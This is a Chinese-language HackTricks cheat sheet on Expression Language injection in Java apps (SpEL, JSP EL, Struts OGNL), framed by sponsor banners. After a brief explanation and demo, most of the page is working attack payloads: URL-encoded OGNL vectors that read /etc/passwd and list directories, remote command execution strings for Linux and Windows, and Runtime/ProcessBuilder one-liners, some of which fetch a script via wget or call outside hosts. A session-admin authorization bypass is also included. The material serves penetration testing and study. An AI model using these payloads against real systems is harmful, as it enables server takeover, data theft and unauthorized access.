# EL - Expression Language
从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS红队专家）！ * 您在**网络安全公司**工作吗？ 想要看到您的**公司在HackTricks中做广告**？ 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！ * 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[NFT收藏品](https://opensea.io/collection/the-peass-family) * 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) * **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * **通过向** [**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
### [WhiteIntel](https://whiteintel.io)
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎，提供免费功能，用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。 WhiteIntel的主要目标是打击由窃取信息的恶意软件导致的账户劫持和勒索软件攻击。 您可以访问他们的网站并免费尝试他们的引擎： {% embed url="" %} *** ## 基本信息 表达式语言（EL）在JavaEE中是不可或缺的，用于连接表示层（例如网页）和应用程序逻辑（例如托管的bean），实现它们之间的交互。它主要用于： * **JavaServer Faces（JSF）**：用于将UI组件绑定到后端数据/操作。 * **JavaServer Pages（JSP）**：用于在JSP页面中访问和操作数据。 * **Java EE的上下文和依赖注入（CDI）**：用于促进Web层与托管bean的交互。 **使用环境**： * **Spring框架**：在各种模块中应用，如安全性和数据。 * **通用用途**：开发人员通过SpEL API在基于JVM的语言（如Java、Kotlin和Scala）中使用。 EL存在于JavaEE技术、独立环境中，并通过`.jsp`或`.jsf`文件扩展名、堆栈错误以及标题中的“Servlet”等术语来识别。然而，其功能和对某些字符的使用可能取决于版本。 {% hint style="info" %} 根据**EL版本**的不同，某些**功能**可能会**开启**或**关闭**，通常某些**字符**可能会被**禁止**使用。 {% endhint %} ## 基本示例 （您可以在找到有关EL的另一个有趣教程） 从[**Maven**](https://mvnrepository.com)仓库下载以下jar文件： * `commons-lang3-3.9.jar` * `spring-core-5.2.1.RELEASE.jar` * `commons-logging-1.2.jar` * `spring-expression-5.2.1.RELEASE.jar` 并创建以下`Main.java`文件： ```java import org.springframework.expression.Expression; import org.springframework.expression.ExpressionParser; import org.springframework.expression.spel.standard.SpelExpressionParser; public class Main { public static ExpressionParser PARSER; public static void main(String[] args) throws Exception { PARSER = new SpelExpressionParser(); System.out.println("Enter a String to evaluate:"); java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in)); String input = stdin.readLine(); Expression exp = PARSER.parseExpression(input); String result = exp.getValue().toString(); System.out.println(result); } } ``` 接下来编译代码（如果您没有安装`javac`，请安装`sudo apt install default-jdk`）： ```java javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java ``` 使用以下命令执行应用程序： ```java java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main Enter a String to evaluate: {5*5} [25] ``` 注意在前面的示例中术语`{5*5}`被**评估**。 ## **基于CVE的教程** 在**这篇文章中查看：**[**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a) ## 负载 ### 基本操作 ```bash #Basic string operations examples {"a".toString()} [a] {"dfd".replace("d","x")} [xfx] #Access to the String class {"".getClass()} [class java.lang.String] #Access ro the String class bypassing "getClass" #{""["class"]} #Access to arbitrary class {"".getClass().forName("java.util.Date")} [class java.util.Date] #List methods of a class {"".getClass().forName("java.util.Date").getMethods()[0].toString()} [public boolean java.util.Date.equals(java.lang.Object)] ``` ### 检测 * Burp检测 ```bash gk6q${"zkz".toString().replace("k", "x")}doap2 #The value returned was "igk6qzxzdoap2", indicating of the execution of the expression. ``` * J2EE检测 ```bash #J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer): https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL ``` * 等待 10 秒 ```bash #Blind detection vector (sleep during 10 seconds) https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString} ``` ### 远程文件包含 ```bash https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd ``` ### 目录列表 ```bash https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=.. ``` ### RCE * RCE的基本**解释** ```bash #Check the method getRuntime is there {"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()} [public static java.lang.Runtime java.lang.Runtime.getRuntime()] #Execute command (you won't see the command output in the console) {"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")} [Process[pid=10892, exitValue=0]] #Execute command bypassing "getClass" #{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl .burpcollaborator.net")} # With HTMl entities injection inside the template ``` * RCE **Linux** ```bash https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt ``` * RCE **Windows** (未经测试) ```bash https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt ``` * **更多的远程命令执行（RCE）** ```java // Common RCE payloads ''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec() ''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance().start() // Method using Runtime via getDeclaredConstructors #{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])} #{session.getAttribute("rtc").setAccessible(true)} #{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")} // Method using processbuilder ${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())} ${request.getAttribute("c").add("cmd.exe")} ${request.getAttribute("c").add("/k")} ${request.getAttribute("c").add("ping x.x.x.x")} ${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())} ${request.getAttribute("a")} // Method using Reflection & Invoke ${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")} // Method using ScriptEngineManager one-liner ${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))} // Method using ScriptEngineManager {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}} ${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\"); //https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt (T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream())) T(java.lang.System).getenv()[0] T(java.lang.Runtime).getRuntime().exec('ping my-domain.com') T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream()) ''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe') ``` ### 检查环境 * `applicationScope` - 全局应用程序变量 * `requestScope` - 请求变量 * `initParam` - 应用程序初始化变量 * `sessionScope` - 会话变量 * `param.X` - 参数值，其中 X 是 http 参数的名称 您需要将这些变量转换为字符串，如下所示： ```bash ${sessionScope.toString()} ``` #### 授权绕过示例 ```bash ${pageContext.request.getSession().setAttribute("admin", true)} ``` 应用程序还可以使用自定义变量，例如： ```bash ${user} ${password} ${employee.FirstName} ``` ## WAF Bypass 查看 ## 参考资料 * * * * ### [WhiteIntel](https://whiteintel.io)
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**推动的搜索引擎，提供**免费**功能，用于检查公司或其客户是否受到**窃取恶意软件**的**威胁**。 WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。 您可以访问他们的网站并免费尝试他们的引擎： {% embed url="" %}
从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS Red Team Expert）！ * 您在**网络安全公司**工作吗？ 想要在**HackTricks**中看到您的**公司广告**？ 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品 * 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com) * **加入**[**💬**](https://emojipedia.org/speech-balloon/) **Discord群组**]\() 或**电报群组**或在**Twitter**上关注我🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * 通过向**hacktricks repo**和**hacktricks-cloud repo**提交PR来分享您的黑客技巧。
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